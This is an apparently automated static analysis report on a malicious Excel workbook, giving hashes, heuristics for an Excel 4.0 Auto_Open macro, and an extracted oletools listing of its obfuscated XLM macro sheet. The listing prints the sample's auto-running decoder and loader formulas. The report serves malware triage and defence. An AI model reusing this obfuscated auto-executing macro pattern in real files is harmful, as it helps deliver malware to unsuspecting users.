Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57264c3a8f3e06e6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:21 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 63915676835eb0d91af27ee7cfbc2c11 SHA-1: 45fa384cf6c4078bc81bd0e39dd563e228dbf10f SHA-256: 57264c3a8f3e06e62cb6dcb4fab0ef7961e65cf9b264764e4139405d870b4d95
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6408 bytes
SHA-256: 186b2d182c7a209e5c5d0e5acdea59ce989f2c6d1f77d7b7ab9abb5dc8530514
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'FGbBMDXNGfiI') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CMBk
' 0018     22 LABEL : Cell Value, String Constant - APcaSpo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A171 
' 0018     26 LABEL : Cell Value, String Constant - BrFtOPNhxQk len=0 
' 0018     22 LABEL : Cell Value, String Constant - CohBaqQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - DwlfSMH len=0 
' 0018     27 LABEL : Cell Value, String Constant - FGbBMDXNGfiI len=0 
' 0018     26 LABEL : Cell Value, String Constant - GLYlliZnbmW len=0 
' 0018     24 LABEL : Cell Value, String Constant - hNStwdjNM len=0 
' 0018     23 LABEL : Cell Value, String Constant - ILxbFOGj len=0 
' 0018     23 LABEL : Cell Value, String Constant - JcKvCHuq len=0 
' 0018     24 LABEL : Cell Value, String Constant - lCVerYjyU len=0 
' 0018     24 LABEL : Cell Value, String Constant - lDvnmvugJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - LKkrkvG len=0 
' 0018     22 LABEL : Cell Value, String Constant - OPdxvUv len=0 
' 0018     24 LABEL : Cell Value, String Constant - PnhZmlxlH len=0 
' 0018     26 LABEL : Cell Value, String Constant - pzpNDZZhOPu len=0 
' 0018     21 LABEL : Cell Value, String Constant - QMzKkd len=0 
' 0018     22 LABEL : Cell Value, String Constant - qTzFDSP len=0 
' 0018     26 LABEL : Cell Value, String Constant - VrDeJBpKnGM len=0 
' 0018     23 LABEL : Cell Value, String Constant - wGOEpYZP len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZPaPKKPh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CMBk,A82,"SET.NAME("CohBaqQ",VALUE("0"))",""
'  CMBk,A86,"SET.NAME("JcKvCHuq",CohBaqQ)",""
'  CMBk,A91,"SET.NAME("BrFtOPNhxQk",CohBaqQ)",""
'  CMBk,A93,"SET.NAME("lCVerYjyU",COUNTA(lDvnmvugJ))",""
'  CMBk,A98,"SET.NAME("FGbBMDXNGfiI",COUNTA(qTzFDSP))",""
'  CMBk,A102,[],""
'  CMBk,A104,"SET.NAME("ZPaPKKPh","")",""
'  CMBk,A107,"JcKvCHuq",""
'  CMBk,A111,"SET.NAME("wGOEpYZP",HLOOKUP("*",lDvnmvugJ,JcKvCHuq,FALSE))",""
'  CMBk,A114,"PnhZmlxlH",""
'  CMBk,A116,"SET.NAME("QMzKkd",CohBaqQ)",""
'  CMBk,A119,[],""
'  CMBk,A122,"QMzKkd",""
'  CMBk,A125,"ILxbFOGj",""
'  CMBk,A130,"GLYlliZnbmW",""
'  CMBk,A133,"pzpNDZZhOPu",""
'  CMBk,A137,"SET.NAME("hNStwdjNM",VALUE(HLOOKUP("*",qTzFDSP,pzpNDZZhOPu,FALSE)))",""
'  CMBk,A141,"APcaSpo",""
'  CMBk,A146,"ZPaPKKPh",""
'  CMBk,A150,"BrFtOPNhxQk",""
'  CMBk,A155,NEXT(),""
'  CMBk,A157,"DwlfSMH",""
'  CMBk,A160,"SET.NAME("f",INT(T(FORMULA(T(ZPaPKKPh)&"",""&T(DwlfSMH)))))",""
'  CMBk,A162,"LKkrkvG",""
'  CMBk,A167,NEXT(),""
'  CMBk,A169,RETURN(),""
'  CMBk,A200,"SET.NAME("VrDeJBpKnGM",A82)",""
'  CMBk,A205,"lDvnmvugJ",""
'  CMBk,A210,"SET.NAME("qTzFDSP",R83C13)",""
'  CMBk,A213,"SET.NAME("LKkrkvG",222)",""
'  CMBk,A217,"SET.NAME("OPdxvUv",1)",""
'  CMBk,A221,VrDeJBpKnGM(),""
'  CMBk,A222,HALT(),""

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